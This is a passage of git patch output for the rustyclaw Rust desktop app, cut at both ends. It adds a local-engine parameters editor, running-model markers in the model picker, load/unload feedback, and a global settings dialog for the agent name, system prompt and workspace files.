.send(GatewayCommand::EngineModelList { engine }) + .await + .context("sending EngineModelList")?; + Ok(()) + }); + } + }); + // Re-fetch panel lists after a mutation result marks them stale, so the // cron/memory/MCP/channels/tool dialogs reflect the change. use_effect(move || { @@ -1736,6 +1764,7 @@ pub fn App() -> Element { agent_name: state.read().agent_name.clone(), pending_prompt: state.read().visible_user_prompt(), provider_models: state.read().provider_models.clone(), + provider_loaded: state.read().provider_loaded_models.clone(), on_submit: on_submit, on_cancel: on_cancel, on_delete_message: on_delete_message, diff --git a/crates/rustyclaw-desktop/src/app_support.rs b/crates/rustyclaw-desktop/src/app_support.rs index a6179573..45e39a46 100644 --- a/crates/rustyclaw-desktop/src/app_support.rs +++ b/crates/rustyclaw-desktop/src/app_support.rs @@ -888,9 +888,15 @@ pub(crate) fn handle_gateway_event( if panel.selected_engine.is_none() { panel.selected_engine = panel.engines.first().map(|e| e.id.clone()); } + // The dialog is open: fetch the selected engine's models without + // requiring a tab click. + if s.show_engines_dialog { + s.engines_models_pending = true; + } } GatewayEvent::EngineModelListResult { engine, models } => { let mut s = state.write(); + s.engines_models_pending = false; let panel = s .engines_data .get_or_insert_with(rustyclaw_view::EnginesPanelData::default); @@ -904,7 +910,7 @@ pub(crate) fn handle_gateway_event( provider, models, error, - .. + loaded, } => { if let Some(err) = error { // Keep the static fallback in the picker. The provider @@ -917,7 +923,9 @@ pub(crate) fn handle_gateway_event( // user-driven and bounded. tracing::warn!(provider = %provider, error = %err, "Live provider model fetch failed"); } else { - state.write().provider_models.insert(provider, models); + let mut s = state.write(); + s.provider_models.insert(provider.clone(), models); + s.provider_loaded_models.insert(provider, loaded); } } // The loaded/running markers and full engine configs arrive in their @@ -964,6 +972,17 @@ pub(crate) fn handle_gateway_event( message, } => { let mut s = state.write(); + // A model action finished: clear the in-flight marker and keep + // the outcome for the dialog's inline feedback. + if model.is_some() { + if s.engine_model_action_pending + .as_ref() + .is_some_and(|(e, _)| e == &engine) + { + s.engine_model_action_pending = None; + } + s.engine_action_result = Some((engine.clone(), ok, message.clone())); + } if let Some(ref mut panel) = s.engines_data { // A pull just finished (successfully or not) — clear the bar. if model.is_some() { @@ -1154,6 +1173,7 @@ fn dto_to_engine_data( can_load: dto.capabilities.can_load, can_unload: dto.capabilities.can_unload, }, + config: dto.config, } } diff --git a/crates/rustyclaw-desktop/src/components/chat.rs b/crates/rustyclaw-desktop/src/components/chat.rs index 7cd5746f..13deac7c 100644 --- a/crates/rustyclaw-desktop/src/components/chat.rs +++ b/crates/rustyclaw-desktop/src/components/chat.rs @@ -33,6 +33,9 @@ pub struct ChatProps { /// Live model lists fetched from provider APIs, keyed by provider id. /// The model picker prefers these over the static catalogue. pub provider_models: std::collections::HashMap>, + /// Live "loaded/running" model ids per provider (a subset of + /// `provider_models`); the picker marks those models as running. + pub provider_loaded: std::collections::HashMap>, pub on_submit: EventHandler, pub on_cancel: EventHandler<()>, pub on_prompt_respond: EventHandler<(String, PromptResponseValue)>, @@ -127,6 +130,7 @@ pub fn Chat(props: ChatProps) -> Element { current_provider: props.bottom_bar.composer.current_provider.clone(), current_model: props.bottom_bar.composer.current_model.clone(), provider_models: props.provider_models.clone(), + provider_loaded: props.provider_loaded.clone(), directory_selector: props.bottom_bar.directory_selector.clone(), on_model_change: props.on_model_change, on_add_provider: props.on_add_provider, diff --git a/crates/rustyclaw-desktop/src/components/composer_accessory.rs b/crates/rustyclaw-desktop/src/components/composer_accessory.rs index b6153d9e..c77fac69 100644 --- a/crates/rustyclaw-desktop/src/components/composer_accessory.rs +++ b/crates/rustyclaw-desktop/src/components/composer_accessory.rs @@ -21,6 +21,9 @@ pub struct ComposerAccessoryProps { pub current_model: Option, /// Live model lists fetched from provider APIs, keyed by provider id. pub provider_models: HashMap>, + /// Live "loaded/running" model ids per provider (a subset of + /// `provider_models`); the picker marks those models as running. + pub provider_loaded: HashMap>, pub directory_selector: rustyclaw_view::DirectorySelectorState, pub on_model_change: EventHandler, pub on_add_provider: EventHandler<()>, @@ -35,6 +38,7 @@ pub fn ComposerAccessory(props: ComposerAccessoryProps) -> Element { current_provider: props.current_provider.clone(), current_model: props.current_model.clone(), provider_models: props.provider_models.clone(), + provider_loaded: props.provider_loaded.clone(), on_model_change: props.on_model_change, on_add_provider: props.on_add_provider, } @@ -97,6 +101,8 @@ struct ModelBarProps { current_model: Option, /// Live model lists fetched from provider APIs, keyed by provider id. provider_models: HashMap>, + /// Live "loaded/running" model ids per provider. + provider_loaded: HashMap>, on_model_change: EventHandler, on_add_provider: EventHandler<()>, } @@ -148,6 +154,13 @@ fn ModelBar(props: ModelBarProps) -> Element { if !current_model.is_empty() && !model_options.iter().any(|m| m == ¤t_model) { model_options.insert(0, current_model.clone()); } + // Which of the listed models are loaded/running on the local engine, so + // the picker can say so instead of showing a flat list of names. + let loaded_set: std::collections::HashSet<&String> = props + .provider_loaded + .get(&provider_for_models) + .map(|v| v.iter().collect()) + .unwrap_or_default(); rsx! { div { class: "model-bar", @@ -227,7 +240,7 @@ fn ModelBar(props: ModelBarProps) -> Element { option { value: "{mid}", selected: *mid == current_model, - "{mid}" + if loaded_set.contains(mid) { "{mid} ● running" } else { "{mid}" } } } } diff --git a/crates/rustyclaw-desktop/src/components/engines.rs b/crates/rustyclaw-desktop/src/components/engines.rs index 76bdd5a0..2d764306 100644 --- a/crates/rustyclaw-desktop/src/components/engines.rs +++ b/crates/rustyclaw-desktop/src/components/engines.rs @@ -2,10 +2,14 @@ //! //! Laid out as one tab per detected engine: the tab strip switches the //! active engine, and the body shows that engine's status, actions, models, -//! live install output, and any pull progress. +//! live install output, and any pull progress. Each engine tab also carries +//! a parameters editor (context window, device, huge pages, …) whose values +//! are persisted through `EngineConfigSet` and applied on the next +//! start/load. use dioxus::prelude::*; use dioxus_bulma::prelude::BulmaColor; +use rustyclaw_core::engines::EngineConfig; use rustyclaw_core::gateway::{EngineActionKind, ModelActionKind}; use super::RcModal; @@ -14,6 +18,14 @@ use super::RcModal; pub struct EnginesDialogProps { pub visible: bool, pub data: Option, + /// (engine, model) whose load/unload action is in flight; the matching + /// row's button shows "Loading…" and is disabled. + pub action_pending: Option<(String, String)>, + /// Outcome of the last engine model action (engine, ok, message), + /// rendered as an inline alert on that engine's tab. + pub action_result: Option<(String, bool, String)>, + /// Dismiss the inline action result (its alert's close button). + pub on_clear_action_result: EventHandler<()>, pub on_close: EventHandler<()>, pub on_engine_action: EventHandler<(String, EngineActionKind)>, pub on_model_action: EventHandler<(String, String, ModelActionKind)>, @@ -23,13 +35,129 @@ pub struct EnginesDialogProps { pub on_select_engine: EventHandler, /// Switch the active chat provider/model to this local (engine, model). pub on_use_model: EventHandler<(String, String)>, + /// Save the full configuration for an engine (parameters, default model, + /// auto-start, extra args) — sent as `EngineConfigSet`. + pub on_config_save: EventHandler<(String, EngineConfig)>, /// Re-fetch the engine list (and selected engine's models). pub on_refresh: EventHandler<()>, } +/// Editable parameter form for one engine, seeded from its config. Kept in +/// a map keyed by engine id so switching tabs doesn't lose in-progress edits, +/// and re-seeded whenever the gateway reports a different config (i.e. after +/// a save round-trip or an external config change). +#[derive(Clone, PartialEq)] +struct EngineParamsForm { + /// Config this form was seeded from — when it differs, the form re-seeds. + config_seen: EngineConfig, + context_length: String, + device: String, + huge_pages: String, + mmap: bool, + lazy_weights: bool, + max_output_tokens: String, + max_concurrency: String, + default_model: String, + auto_start: bool, +} + +impl EngineParamsForm { + fn from_config(cfg: &EngineConfig) -> Self { + Self { + config_seen: cfg.clone(), + context_length: cfg + .context_length + .map(|v| v.to_string()) + .unwrap_or_default(), + device: cfg.device.clone().unwrap_or_default(), + huge_pages: cfg.huge_pages.clone().unwrap_or_default(), + mmap: cfg.mmap, + lazy_weights: cfg.lazy_weights, + max_output_tokens: cfg + .max_output_tokens + .map(|v| v.to_string()) + .unwrap_or_default(), + max_concurrency: cfg + .max_concurrency + .map(|v| v.to_string()) + .unwrap_or_default(), + default_model: cfg.default_model.clone().unwrap_or_default(), + auto_start: cfg.auto_start, + } + } + + fn apply_to(&self, cfg: &mut EngineConfig) { + cfg.context_length = parse_opt_u32(&self.context_length); + cfg.device = opt_string(&self.device); + cfg.huge_pages = opt_string(&self.huge_pages); + cfg.mmap = self.mmap; + cfg.lazy_weights = self.lazy_weights; + cfg.max_output_tokens = parse_opt_u32(&self.max_output_tokens); + cfg.max_concurrency = parse_opt_u32(&self.max_concurrency); + cfg.default_model = opt_string(&self.default_model); + cfg.auto_start = self.auto_start; + } +} + +fn parse_opt_u32(raw: &str) -> Option { + let raw = raw.trim(); + if raw.is_empty() { + None + } else { + raw.parse().ok() + } +} + +fn opt_string(raw: &str) -> Option { + let raw = raw.trim(); + if raw.is_empty() { + None + } else { + Some(raw.to_string()) + } +} + +/// The form to display for an engine: the in-progress edit when it was +/// seeded from the config the gateway currently reports, otherwise a fresh +/// form built from that config. A form whose `config_seen` no longer +/// matches is stale (the config changed under it — e.g. after a save) and +/// is ignored in favour of the fresh config. +fn params_form_for( + params_form: Signal>, + eid: &str, + fallback: &EngineConfig, +) -> EngineParamsForm { + params_form + .read() + .get(eid) + .cloned() + .filter(|f| f.config_seen == *fallback) + .unwrap_or_else(|| EngineParamsForm::from_config(fallback)) +} + +/// Apply `edit` to the engine's form, creating it from `fallback` when +/// missing and re-seeding it when the config changed under it (so in-progress +/// edits never apply to a stale base). +fn params_set( + mut params_form: Signal>, + eid: &str, + fallback: &EngineConfig, + edit: impl FnOnce(&mut EngineParamsForm), +) { + let mut map = params_form.write(); + let entry = map + .entry(eid.to_string()) + .or_insert_with(|| EngineParamsForm::from_config(fallback)); + if entry.config_seen != *fallback { + *entry = EngineParamsForm::from_config(fallback); + } + edit(entry); +} + #[component] pub fn EnginesDialog(props: EnginesDialogProps) -> Element { let mut pull_input = use_signal(String::new); + let params_form = use_signal(std::collections::HashMap::::new); if !props.visible { return rsx! {}; @@ -165,6 +293,26 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { } } } + if engine.running && engine.can("stop") && engine.can("start") { + // Restart applies the saved parameters + // without a manual Stop then Start. + div { class: "level-item", + { + let eid = engine.id.clone(); + let on_engine_action = props.on_engine_action; + rsx! { + dioxus_bulma::prelude::Button { + color: BulmaColor::Link, + onclick: move |_| { + on_engine_action.call((eid.clone(), EngineActionKind::Stop)); + on_engine_action.call((eid.clone(), EngineActionKind::Start)); + }, + "Restart" + } + } + } + } + } if engine.running { div { class: "level-item", { @@ -191,6 +339,292 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { } } + // ── Inline action result ────────────────────────── + // The outcome of the last Load/Unload on this + // engine, so clicking a button always answers. + if let Some((result_engine, ok, message)) = &props.action_result { + if result_engine == &engine.id { + div { + class: if *ok { "notification is-success is-light" } + else { "notification is-danger is-light" }, + button { + class: "delete", + onclick: move |_| props.on_clear_action_result.call(()), + } + p { "{message}" } + } + } + } + + // ── Parameters editor ─────────────────────────── + // Shown for engines that can start (startup settings + // apply) or that expose model parameters. + if engine.can("start") + || engine.supports_context_length() + || engine.supports_joshua_parameters() + || engine.supports_default_model() + { + { + let eid = engine.id.clone(); + // Owned copies for 'static closures (the + // dialog's event handlers cannot borrow + // props). + let fallback_config = engine.config.clone(); + let form = params_form_for(params_form, &eid, &fallback_config); + let params_form_handle = params_form; + let on_config_save = props.on_config_save; + let model_names: Vec = + data.models.iter().map(|m| m.name.clone()).collect(); + rsx! { + div { class: "box mb-3", + div { class: "level", + div { class: "level-left", + div { class: "level-item", + h5 { class: "title is-5 mb-0", "Parameters" } + } + } + div { class: "level-right", + div { class: "level-item", + dioxus_bulma::prelude::Button { + color: BulmaColor::Primary, + size: dioxus_bulma::prelude::BulmaSize::Small, + onclick: { + let eid_save = eid.clone(); + let fallback = fallback_config.clone(); + move |_| { + // Rebuild the full config: start from the + // config the gateway last reported (which + // preserves enabled/endpoint/port/models_dir/ + // extra_args) and overlay the edited fields. + let form = params_form_for( + params_form_handle, + &eid_save, + &fallback, + ); + let mut cfg = fallback.clone(); + form.apply_to(&mut cfg); + on_config_save.call((eid_save.clone(), cfg)); + } + }, + "Save parameters" + } + } + } + } + p { class: "is-size-7 has-text-grey mb-3", + "Applied on the next Start or model Load." + } + div { class: "columns is-multiline is-variable is-2", + if engine.supports_context_length() { + div { class: "column is-half", + label { class: "label is-size-7", "Context window (tokens)" } + div { class: "control", + input { + class: "input", + r#type: "number", + min: "1", + placeholder: "engine default", + value: "{form.context_length}", + oninput: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let value = evt.value(); + params_set(pf, &eid, &fallback, |f| f.context_length = value); + } + }, + } + } + } + } + if engine.supports_joshua_parameters() { + div { class: "column is-half", + label { class: "label is-size-7", "Compute device (--device)" } + div { class: "control", + dioxus_bulma::prelude::Select { + size: dioxus_bulma::prelude::BulmaSize::Small, + value: "{form.device}", + onchange: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let value = evt.value(); + params_set(pf, &eid, &fallback, |f| f.device = value); + } + }, + option { value: "", "engine default (auto)" } + option { value: "auto", selected: form.device == "auto", "auto" } + option { value: "cpu", selected: form.device == "cpu", "cpu" } + option { value: "metal", selected: form.device == "metal", "metal" } + option { value: "cuda", selected: form.device == "cuda", "cuda" } + } + } + } + div { class: "column is-half", + label { class: "label is-size-7", "Huge pages (--huge-pages)" } + div { class: "control", + dioxus_bulma::prelude::Select { + size: dioxus_bulma::prelude::BulmaSize::Small, + value: "{form.huge_pages}", + onchange: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let value = evt.value(); + params_set(pf, &eid, &fallback, |f| f.huge_pages = value); + } + }, + option { value: "", "off (default)" } + option { value: "transparent", selected: form.huge_pages == "transparent", "transparent" } + option { value: "2mb", selected: form.huge_pages == "2mb", "2mb" } + option { value: "1gb", selected: form.huge_pages == "1gb", "1gb" } + option { value: "huge", selected: form.huge_pages == "huge", "huge" } + } + } + } + div { class: "column is-half", + label { class: "label is-size-7", "Max output tokens (--max-output-tokens)" } + div { class: "control", + input { + class: "input", + r#type: "number", + min: "1", + placeholder: "4096 (joshua default)", + value: "{form.max_output_tokens}", + oninput: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let value = evt.value(); + params_set(pf, &eid, &fallback, |f| f.max_output_tokens = value); + } + }, + } + } + } + div { class: "column is-half", + label { class: "label is-size-7", "Max concurrent requests (--max-concurrency)" } + div { class: "control", + input { + class: "input", + r#type: "number", + min: "1", + placeholder: "CPU count (joshua default)", + value: "{form.max_concurrency}", + oninput: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let value = evt.value(); + params_set(pf, &eid, &fallback, |f| f.max_concurrency = value); + } + }, + } + } + } + div { class: "column is-full", + label { class: "checkbox is-size-7", + input { + r#type: "checkbox", + checked: form.mmap, + onchange: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let checked = evt.checked(); + params_set(pf, &eid, &fallback, |f| f.mmap = checked); + } + }, + } + " Require memory-mappable model (--mmap)" + } + br {} + label { class: "checkbox is-size-7", + input { + r#type: "checkbox", + checked: form.lazy_weights, + onchange: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let checked = evt.checked(); + params_set(pf, &eid, &fallback, |f| f.lazy_weights = checked); + } + }, + } + " Optimise for a model far larger than RAM (--lazy-weights)" + } + } + } + if engine.supports_default_model() { + div { class: "column is-half", + label { class: "label is-size-7", "Default model (startup)" } + div { class: "control", + dioxus_bulma::prelude::Select { + size: dioxus_bulma::prelude::BulmaSize::Small, + value: "{form.default_model}", + onchange: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let value = evt.value(); + params_set(pf, &eid, &fallback, |f| f.default_model = value); + } + }, + option { + value: "", + selected: form.default_model.is_empty(), + if model_names.is_empty() { + "(no local models — refresh)" + } else { + "— none —" + } + } + for mname in model_names.iter() { + option { + value: "{mname}", + selected: form.default_model == *mname, + "{mname}" + } + } + } + } + } + } + if engine.can("start") { + div { class: "column is-half", + label { class: "checkbox is-size-7", + input { + r#type: "checkbox", + checked: form.auto_start, + onchange: { + let eid = eid.clone(); + let fallback = fallback_config.clone(); + let pf = params_form; + move |evt: FormEvent| { + let checked = evt.checked(); + params_set(pf, &eid, &fallback, |f| f.auto_start = checked); + } + }, + } + " Auto-start with the gateway" + } + } + } + } + } + } + } + } + // ── Live install output for this engine ────────── if let Some(output) = data.install_output.get(&engine.id) { div { @@ -252,6 +686,12 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { let can_load = engine_caps.as_ref().is_some_and(|e| e.can("load")); let can_unload = engine_caps.as_ref().is_some_and(|e| e.can("unload")); let can_remove = engine_caps.as_ref().is_some_and(|e| e.can("remove")); + // In-flight feedback: the clicked model's button turns into + // "Loading…" until the gateway answers. + let pending_here = props + .action_pending + .as_ref() + .is_some_and(|(pe, pm)| pe == &eid && pm == &mname); rsx! { dioxus_bulma::prelude::Buttons { { @@ -272,8 +712,9 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { rsx! { dioxus_bulma::prelude::Button { color: BulmaColor::Info, + disabled: pending_here, onclick: move |_| props.on_model_action.call((eid2.clone(), mname2.clone(), ModelActionKind::Load)), - "Load" + if pending_here { "Loading…" } else { "Load" } } } } @@ -285,8 +726,9 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { rsx! { dioxus_bulma::prelude::Button { color: BulmaColor::Warning, + disabled: pending_here, onclick: move |_| props.on_model_action.call((eid2.clone(), mname2.clone(), ModelActionKind::Unload)), - "Unload" + if pending_here { "Loading…" } else { "Unload" } } } } @@ -299,6 +741,7 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { dioxus_bulma::prelude::Button { color: BulmaColor::Danger, outlined: true, + disabled: pending_here, onclick: move |_| props.on_model_action.call((eid2.clone(), mname2.clone(), ModelActionKind::Remove)), "Remove" } diff --git a/crates/rustyclaw-desktop/src/state.rs b/crates/rustyclaw-desktop/src/state.rs index 7f8b5100..bb73f9d4 100644 --- a/crates/rustyclaw-desktop/src/state.rs +++ b/crates/rustyclaw-desktop/src/state.rs @@ -244,6 +244,10 @@ pub struct AppState { /// Set when an engine action completed and the engine/model lists /// should be re-fetched from the gateway. pub engines_stale: bool, + /// Set when the engines dialog is open and the selected engine's model + /// list should be (re)fetched — the dialog auto-loads contents instead + /// of waiting for a tab click. + pub engines_models_pending: bool, /// Whether the scheduled-jobs dialog is visible. pub show_cron_dialog: bool, @@ -303,9 +307,19 @@ pub struct AppState { /// keyed by provider id. The model picker prefers these over the /// static catalogue fallback. pub provider_models: HashMap>, + /// Live "loaded/running" model ids per provider (a subset of + /// `provider_models`), used by the picker to mark running models. + pub provider_loaded_models: HashMap>, /// Providers whose live model list has already been requested this /// session (guards against duplicate in-flight requests). pub provider_models_requested: HashSet, + + /// (engine, model) whose load/unload action is currently in flight, so + /// the engines dialog can show "Loading…" on the right button. + pub engine_model_action_pending: Option<(String, String)>, + /// Outcome of the last engine model action (engine, ok, message), shown + /// inline in the engines dialog until the next action or dialog close. + pub engine_action_result: Option<(String, bool, String)>, } impl Default for AppState { @@ -395,6 +409,7 @@ impl Default for AppState { show_engines_dialog: false, engines_data: None, engines_stale: false, + engines_models_pending: false, show_cron_dialog: false, cron_data: None, cron_stale: false, @@ -418,7 +433,10 @@ impl Default for AppState { show_logs_dialog: false, logs_data: None, provider_models: HashMap::new(), + provider_loaded_models: HashMap::new(), provider_models_requested: HashSet::new(), + engine_model_action_pending: None, + engine_action_result: None, } } } diff --git a/crates/rustyclaw-tui/src/gateway_client.rs b/crates/rustyclaw-tui/src/gateway_client.rs index b8e37488..ad66fe15 100644 --- a/crates/rustyclaw-tui/src/gateway_client.rs +++ b/crates/rustyclaw-tui/src/gateway_client.rs @@ -434,6 +434,7 @@ pub(crate) fn gateway_event_to_gw_event( can_load: e.capabilities.can_load, can_unload: e.capabilities.can_unload, }, + config: e.config, }) .collect(), }, diff --git a/crates/rustyclaw-view/src/engines.rs b/crates/rustyclaw-view/src/engines.rs index 68628b24..0c326b0a 100644 --- a/crates/rustyclaw-view/src/engines.rs +++ b/crates/rustyclaw-view/src/engines.rs @@ -154,9 +154,30 @@ pub struct LocalEngineData { pub available_models: u32, pub loaded_models: u32, pub caps: EngineCapsData, + /// The engine's full configuration (parameters, default model, extra + /// args), as persisted by the gateway. The parameters panel edits + /// this and sends it back via `EngineConfigSet`. + pub config: rustyclaw_core::engines::EngineConfig, } impl LocalEngineData { + /// Whether the engine's config exposes a context-window parameter. + pub fn supports_context_length(&self) -> bool { + matches!(self.id.as_str(), "joshua" | "llamacpp" | "ollama") + } + + /// Whether the engine's config exposes Joshua-style serve parameters + /// (device, huge pages, mmap, …). + pub fn supports_joshua_parameters(&self) -> bool { + self.id == "joshua" + } + + /// Whether the engine uses `default_model` to pick a single model at + /// startup (one-model-per-process engines). + pub fn supports_default_model(&self) -> bool { + self.id == "joshua" + } + /// Status badge string for display. pub fn status_badge(&self) -> &'static str { if !self.installed { @@ -237,9 +258,10 @@ impl LocalModelData { } } - /// Load status badge. + /// Load status badge: "running" when the model is loaded/served (the + /// wording the UI uses for the engines panel), "on disk" otherwise. pub fn load_badge(&self) -> &'static str { - if self.loaded { "loaded" } else { "on disk" } + if self.loaded { "running" } else { "on disk" } } /// Warning message if model doesn't fit (returns the detailed message @@ -309,6 +331,7 @@ mod tests { available_models: 0, loaded_models: 0, caps: EngineCapsData::default(), + config: rustyclaw_core::engines::EngineConfig::default(), } } From 30b93d3c276be7a5dd71a40a6684cbd080433f43 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Mon, 17 Aug 2026 23:24:42 -0700 Subject: [PATCH 08/10] fix(desktop): address Devin review findings - Engine configs and loaded-model markers now arrive in their own frames (EngineConfigList / ProviderModelLoadedList) matching the protocol change on the backend: the panel entries get their config patched from EngineConfigList, and the picker's running markers come from ProviderModelLoadedList. - Load actions honour the context window saved in the engine parameters (the gateway maps it per engine: --n-ctx / --ctx-size / --num-ctx), so the saved value actually applies for llama.cpp and Ollama instead of being silently ignored. - The Restart button now works for engines with an unrelated server running on another port (backend start guard is port-scoped); it stops and restarts the engine's own server. --- crates/rustyclaw-desktop/src/app/dialogs.rs | 11 +- crates/rustyclaw-desktop/src/app_support.rs | 31 ++- .../src/components/global_settings.rs | 232 ++++++++++++++++++ crates/rustyclaw-tui/src/gateway_client.rs | 4 +- 4 files changed, 267 insertions(+), 11 deletions(-) create mode 100644 crates/rustyclaw-desktop/src/components/global_settings.rs diff --git a/crates/rustyclaw-desktop/src/app/dialogs.rs b/crates/rustyclaw-desktop/src/app/dialogs.rs index 43d94909..d83c753b 100644 --- a/crates/rustyclaw-desktop/src/app/dialogs.rs +++ b/crates/rustyclaw-desktop/src/app/dialogs.rs @@ -809,6 +809,15 @@ pub(super) fn Dialogs(sig: AppSignals) -> Element { state .write() .engine_model_action_pending = Some((engine.clone(), model.clone())); + // A Load should honour the context window saved in the + // engine's parameters (the gateway maps it per engine: + // --n-ctx / --ctx-size / --num-ctx). + let saved_ctx = state + .read() + .engines_data + .as_ref() + .and_then(|d| d.engine(&engine)) + .and_then(|e| e.config.context_length); let gw = gateway.read().clone(); if let Some(client) = gw { spawn(async move { @@ -817,7 +826,7 @@ pub(super) fn Dialogs(sig: AppSignals) -> Element { engine, model, action, - context_length: None, + context_length: saved_ctx, extra_args: Vec::new(), }) .await diff --git a/crates/rustyclaw-desktop/src/app_support.rs b/crates/rustyclaw-desktop/src/app_support.rs index 45e39a46..fbcb3468 100644 --- a/crates/rustyclaw-desktop/src/app_support.rs +++ b/crates/rustyclaw-desktop/src/app_support.rs @@ -910,7 +910,6 @@ pub(crate) fn handle_gateway_event( provider, models, error, - loaded, } => { if let Some(err) = error { // Keep the static fallback in the picker. The provider @@ -923,15 +922,27 @@ pub(crate) fn handle_gateway_event( // user-driven and bounded. tracing::warn!(provider = %provider, error = %err, "Live provider model fetch failed"); } else { - let mut s = state.write(); - s.provider_models.insert(provider.clone(), models); - s.provider_loaded_models.insert(provider, loaded); + state.write().provider_models.insert(provider, models); + } + } + // Loaded/running markers arrive in their own frame (new capability, + // new frame); the picker marks these models as running. + GatewayEvent::ProviderModelLoadedList { provider, loaded } => { + state.write().provider_loaded_models.insert(provider, loaded); + } + // Full engine configs arrive in their own frame right after the + // engine list; patch them onto the panel's engine entries so the + // parameters editor can round-trip them. + GatewayEvent::EngineConfigList { configs } => { + let mut s = state.write(); + if let Some(panel) = s.engines_data.as_mut() { + for engine in &mut panel.engines { + if let Some(cfg) = configs.get(&engine.id) { + engine.config = cfg.clone(); + } + } } } - // The loaded/running markers and full engine configs arrive in their - // own frames (new capabilities, new frames); the desktop surfaces - // them once the enriched-payload handling lands with the UI work. - GatewayEvent::ProviderModelLoadedList { .. } | GatewayEvent::EngineConfigList { .. } => {} GatewayEvent::EnginePullProgress { engine, model, @@ -1173,7 +1184,9 @@ fn dto_to_engine_data( can_load: dto.capabilities.can_load, can_unload: dto.capabilities.can_unload, }, - config: dto.config, + // The engine config arrives in the EngineConfigList frame right + // after the list; it is patched onto the panel entry there. + config: Default::default(), } } diff --git a/crates/rustyclaw-desktop/src/components/global_settings.rs b/crates/rustyclaw-desktop/src/components/global_settings.rs new file mode 100644 index 00000000..72ffbba7 --- /dev/null +++ b/crates/rustyclaw-desktop/src/components/global_settings.rs @@ -0,0 +1,232 @@ +//! Global settings dialog: agent name, system-prompt override, and the +//! workspace files that get injected into system prompts (SOUL.md, AGENTS.md, +//! MEMORY.md, …), editable in place. +//! +//! The caller mounts this dialog only while it is open AND the view has been +//! loaded (rendering a "Loading…" modal itself while the fetch is in flight), +//! and passes a `key` derived from the loaded data so a re-fetch after a save +//! remounts the dialog with fresh values. The edit signals therefore always +//! seed from current data at mount, and local edits never touch app state +//! until Save. + +use std::collections::HashMap; + +use dioxus::prelude::*; +use dioxus_bulma::prelude::{BulmaColor, Button, Buttons, Control, Field, FieldLabel, Help}; + +use super::RcModal; + +#[derive(Props, Clone, PartialEq)] +pub struct GlobalSettingsDialogProps { + pub visible: bool, + /// The view loaded from the gateway. Always `Some` when mounted by the + /// caller; `None` renders a loading placeholder as a safety net. + pub data: Option, + pub on_close: EventHandler<()>, + /// User saved: send the new config values plus every workspace file whose + /// content changed. + pub on_save: EventHandler, +} + +#[component] +pub fn GlobalSettingsDialog(props: GlobalSettingsDialogProps) -> Element { + let mut agent_name = use_signal(|| { + props + .data + .as_ref() + .map(|d| d.agent_name.clone()) + .unwrap_or_default() + }); + let mut system_prompt = use_signal(|| { + props + .data + .as_ref() + .and_then(|d| d.system_prompt.clone()) + .unwrap_or_default() + }); + let mut selected = use_signal(|| 0usize); + // Per-file edits keyed by file name; a missing entry means "unchanged". + let mut edits: Signal> = use_signal(HashMap::new); + + if !props.visible { + return rsx! {}; + } + + let Some(data) = props.data.clone() else { + return rsx! { + RcModal { + active: true, + title: "Global Settings", + width: 640, + onclose: move |_| props.on_close.call(()), + p { class: "has-text-grey", "Loading global settings…" } + } + }; + }; + + let selected_idx = *selected.read(); + let selected_name = data + .files + .get(selected_idx) + .map(|f| f.name.clone()) + .unwrap_or_default(); + let selected_file = data.files.get(selected_idx).cloned(); + + // The content shown for the selected file: the user's edit if any, + // otherwise the value from the gateway. + let file_content = { + let edits = edits.read(); + edits + .get(&selected_name) + .cloned() + .or_else(|| { + data.files + .iter() + .find(|f| f.name == selected_name) + .map(|f| f.content.clone()) + }) + .unwrap_or_default() + }; + + let on_save = props.on_save; + let save_data = data.clone(); + let save = move |_| { + let payload = rustyclaw_view::GlobalSettingsSaveData { + agent_name: agent_name.read().trim().to_string(), + system_prompt: { + let sp = system_prompt.read().clone(); + (!sp.is_empty()).then_some(sp) + }, + workspace_files: { + let edits = edits.read(); + save_data + .files + .iter() + .filter_map(|f| { + edits.get(&f.name).and_then(|content| { + (content != &f.content).then(|| { + rustyclaw_core::gateway::protocol::frames::WorkspaceFileEdit { + name: f.name.clone(), + content: content.clone(), + } + }) + }) + }) + .collect() + }, + }; + on_save.call(payload); + }; + + // The file editor's oninput handler owns a copy of the selected name so + // it can insert into the edits map without borrowing `data`. + let edit_key = selected_name.clone(); + + rsx! { + RcModal { + active: true, + title: "Global Settings", + width: 760, + onclose: move |_| props.on_close.call(()), + footer: rsx! { + Buttons { + Button { + color: BulmaColor::Light, + onclick: move |_| props.on_close.call(()), + "Cancel" + } + Button { + color: BulmaColor::Primary, + onclick: save, + "Save" + } + } + }, + + div { class: "block", + p { class: "has-text-grey is-size-7", + "These values are injected into every system prompt. ", + "Workspace files that do not exist yet are created on save." + } + } + + // ── Agent identity ──────────────────────────────────────────── + Field { + FieldLabel { "Agent name" } + Control { + input { + class: "input", + r#type: "text", + value: "{agent_name}", + placeholder: "Agent name", + oninput: move |e| agent_name.set(e.value()), + } + } + Help { "Shown as the assistant's identity; also used by the desktop and TUI." } + } + + // ── System prompt override ───────────────────────────────────── + Field { + FieldLabel { "System prompt override" } + Control { + textarea { + class: "textarea global-settings-system-prompt", + rows: "5", + value: "{system_prompt}", + placeholder: "Optional — leave empty to use the built-in prompt", + oninput: move |e| system_prompt.set(e.value()), + } + } + Help { "When empty, the agent uses its built-in system prompt." } + } + + // ── Workspace files ──────────────────────────────────────────── + Field { + FieldLabel { "Workspace files" } + Control { + select { + class: "is-fullwidth", + value: "{selected}", + onchange: move |e| { + if let Ok(i) = e.value().parse::() { + 